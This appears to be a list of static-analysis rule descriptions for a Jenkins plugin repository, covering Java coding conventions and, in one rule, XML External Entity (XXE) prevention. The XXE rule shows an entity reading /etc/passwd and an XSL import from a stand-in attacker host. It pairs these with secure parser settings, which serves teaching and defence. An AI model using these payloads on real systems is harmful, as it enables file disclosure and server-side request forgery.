jenkinsci/hpe-application-automation-tools-plugin

Throwable is the superclass of all errors and exceptions in Java. Error is the superclass of all errors, which are not meant to be caught by applications.

Catching either Throwable or Error will also catch OutOfMemoryError and InternalError, from which an application should not attempt to recover.

Noncompliant Code Example

try { /* ... */ } catch (Throwable t) { /* ... */ }
try { /* ... */ } catch (Error e) { /* ... */ }

Compliant Solution

try { /* ... */ } catch (RuntimeException e) { /* ... */ }
try { /* ... */ } catch (MyException e) { /* ... */ }

See

• MITRE, CWE-396 - Declaration of Catch for Generic Exception
• C++ Core Guidelines E.14 - Use purpose-designed user-defined types as exceptions (not built-in types)

Utility classes, which are collections of static members, are not meant to be instantiated. Even abstract utility classes, which can be extended, should not have public constructors.

Java adds an implicit public constructor to every class which does not define at least one explicitly. Hence, at least one non-public constructor should be defined.

Noncompliant Code Example

class StringUtils { // Noncompliant

  public static String concatenate(String s1, String s2) {
    return s1 + s2;
  }

}

Compliant Solution

class StringUtils { // Compliant

  private StringUtils() {
    throw new IllegalStateException("Utility class");
  }

  public static String concatenate(String s1, String s2) {
    return s1 + s2;
  }

}

Exceptions

When class contains public static void main(String[] args) method it is not considered as utility class and will be ignored by this rule.

Generic types shouldn't be used raw (without type parameters) in variable declarations or return values. Doing so bypasses generic type checking, and defers the catch of unsafe code to runtime.

Noncompliant Code Example

List myList; // Noncompliant
Set mySet; // Noncompliant

Compliant Solution

List<String> myList;
Set<? extends Number> mySet;

Throwable is the superclass of all errors and exceptions in Java. Error is the superclass of all errors, which are not meant to be caught by applications.

Catching either Throwable or Error will also catch OutOfMemoryError and InternalError, from which an application should not attempt to recover.

Noncompliant Code Example

try { /* ... */ } catch (Throwable t) { /* ... */ }
try { /* ... */ } catch (Error e) { /* ... */ }

Compliant Solution

try { /* ... */ } catch (RuntimeException e) { /* ... */ }
try { /* ... */ } catch (MyException e) { /* ... */ }

See

• MITRE, CWE-396 - Declaration of Catch for Generic Exception
• C++ Core Guidelines E.14 - Use purpose-designed user-defined types as exceptions (not built-in types)

Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

See

• Cognitive Complexity

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all constant names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[A-Z][A-Z0-9]*(_[A-Z0-9]+)*$:

public class MyClass {
  public static final int first = 1;
}

public enum MyEnum {
  first;
}

Compliant Solution

public class MyClass {
  public static final int FIRST = 1;
}

public enum MyEnum {
  FIRST;
}

Using such generic exceptions as Error, RuntimeException, Throwable, and Exception prevents calling methods from handling true, system-generated exceptions differently than application-generated errors.

Noncompliant Code Example

public void foo(String bar) throws Throwable {  // Noncompliant
  throw new RuntimeException("My Message");     // Noncompliant
}

Compliant Solution

public void foo(String bar) {
  throw new MyOwnRuntimeException("My Message");
}

Exceptions

Generic exceptions in the signatures of overriding methods are ignored, because overriding method has to follow signature of the throw declaration in the superclass. The issue will be raised on superclass declaration of the method (or won't be raised at all if superclass is not part of the analysis).

@Override
public void myMethod() throws Exception {...}

Generic exceptions are also ignored in the signatures of methods that make calls to methods that throw generic exceptions.

public void myOtherMethod throws Exception {
  doTheThing();  // this method throws Exception
}

See

• MITRE, CWE-397 - Declaration of Throws for Generic Exception
• CERT, ERR07-J. - Do not throw RuntimeException, Exception, or Throwable

Abstract classes should not have public constructors. Constructors of abstract classes can only be called in constructors of their subclasses. So there is no point in making them public. The protected modifier should be enough.

Noncompliant Code Example

public abstract class AbstractClass1 {
    public AbstractClass1 () { // Noncompliant, has public modifier
        // do something here
    }
}

Compliant Solution

public abstract class AbstractClass2 {
    protected AbstractClass2 () {
        // do something here
    }
}

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

public void run() {
  prepare("action1");                              // Noncompliant - "action1" is duplicated 3 times
  execute("action1");
  release("action1");
}

@SuppressWarning("all")                            // Compliant - annotations are excluded
private void method1() { /* ... */ }
@SuppressWarning("all")
private void method2() { /* ... */ }

public String method3(String a) {
  System.out.println("'" + a + "'");               // Compliant - literal "'" has less than 5 characters and is excluded
  return "";                                       // Compliant - literal "" has less than 5 characters and is excluded
}

Compliant Solution

private static final String ACTION_1 = "action1";  // Compliant

public void run() {
  prepare(ACTION_1);                               // Compliant
  execute(ACTION_1);
  release(ACTION_1);
}

Exceptions

To prevent generating some false-positives, literals having less than 5 characters are excluded.

Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

See

• Cognitive Complexity

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

public void run() {
  prepare("action1");                              // Noncompliant - "action1" is duplicated 3 times
  execute("action1");
  release("action1");
}

@SuppressWarning("all")                            // Compliant - annotations are excluded
private void method1() { /* ... */ }
@SuppressWarning("all")
private void method2() { /* ... */ }

public String method3(String a) {
  System.out.println("'" + a + "'");               // Compliant - literal "'" has less than 5 characters and is excluded
  return "";                                       // Compliant - literal "" has less than 5 characters and is excluded
}

Compliant Solution

private static final String ACTION_1 = "action1";  // Compliant

public void run() {
  prepare(ACTION_1);                               // Compliant
  execute(ACTION_1);
  release(ACTION_1);
}

Exceptions

To prevent generating some false-positives, literals having less than 5 characters are excluded.

Nesting try/catch blocks severely impacts the readability of source code because it makes it too difficult to understand which block will catch which exception.

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

Generic types shouldn't be used raw (without type parameters) in variable declarations or return values. Doing so bypasses generic type checking, and defers the catch of unsafe code to runtime.

Noncompliant Code Example

List myList; // Noncompliant
Set mySet; // Noncompliant

Compliant Solution

List<String> myList;
Set<? extends Number> mySet;

Utility classes, which are collections of static members, are not meant to be instantiated. Even abstract utility classes, which can be extended, should not have public constructors.

Java adds an implicit public constructor to every class which does not define at least one explicitly. Hence, at least one non-public constructor should be defined.

Noncompliant Code Example

class StringUtils { // Noncompliant

  public static String concatenate(String s1, String s2) {
    return s1 + s2;
  }

}

Compliant Solution

class StringUtils { // Compliant

  private StringUtils() {
    throw new IllegalStateException("Utility class");
  }

  public static String concatenate(String s1, String s2) {
    return s1 + s2;
  }

}

Exceptions

When class contains public static void main(String[] args) method it is not considered as utility class and will be ignored by this rule.

Nesting try/catch blocks severely impacts the readability of source code because it makes it too difficult to understand which block will catch which exception.

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

public void run() {
  prepare("action1");                              // Noncompliant - "action1" is duplicated 3 times
  execute("action1");
  release("action1");
}

@SuppressWarning("all")                            // Compliant - annotations are excluded
private void method1() { /* ... */ }
@SuppressWarning("all")
private void method2() { /* ... */ }

public String method3(String a) {
  System.out.println("'" + a + "'");               // Compliant - literal "'" has less than 5 characters and is excluded
  return "";                                       // Compliant - literal "" has less than 5 characters and is excluded
}

Compliant Solution

private static final String ACTION_1 = "action1";  // Compliant

public void run() {
  prepare(ACTION_1);                               // Compliant
  execute(ACTION_1);
  release(ACTION_1);
}

Exceptions

To prevent generating some false-positives, literals having less than 5 characters are excluded.

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

• ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
• ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
• ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

• it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
• or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

• OWASP Top 10 2017 Category A4 - XML External Entities (XXE)
• OWASP XXE Prevention Cheat Sheet
• MITRE, CWE-611 - Information Exposure Through XML External Entity Reference
• MITRE, CWE-827 - Improper Control of Document Type Definition

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.